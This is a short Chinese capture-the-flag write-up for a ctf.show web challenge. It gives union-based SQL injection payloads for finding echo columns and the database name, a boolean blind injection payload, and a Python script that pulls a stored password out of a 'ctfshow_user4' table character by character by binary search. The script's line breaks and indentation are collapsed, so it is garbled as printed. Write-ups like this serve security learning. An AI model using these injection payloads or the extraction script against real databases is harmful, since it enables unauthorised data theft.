看看回显位,因为过滤了数字,肯定不能用数字进行回显了
-1’ union select ‘a’,’b’—+
爆数据库名字
-1’ union select database(),’b’—+
根据经验,表肯定是ctfshow_user4,这里因为有数字,肯定会被过滤,构造布尔盲注测试一下
-1’ union select if(ascii(substr((select database()),0,1))>97,’yes’,’no’),’b’—+
2. 这里写个脚本来跑```python# -*- coding: utf-8 -*-'''@Time : 2021/7/23 11:07@Author : Seals6@File : web164.py@contact: 972480239@qq.com@blog: seals6.github.io-*- 功能说明 -*--*- 更新说明 -*-'''import requestsurl="http://5272c169-2883-4fca-8822-f7dd6daa672f.challenge.ctf.show:8080/api/v4.php"i=0flag=""while True:i+=1max=128min=30while min<max:mid = (max + min) // 2payload="-1' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),%d,1))>%d,'yes','no') -- "%(i,mid)params = {"id": payload}r=requests.get(url=url,params=params)# print(r.url)if "yes" in r.text:# print(r.text)min=mid+1else:max=midif min != 30:flag+=chr(min)else:breakprint(flag)
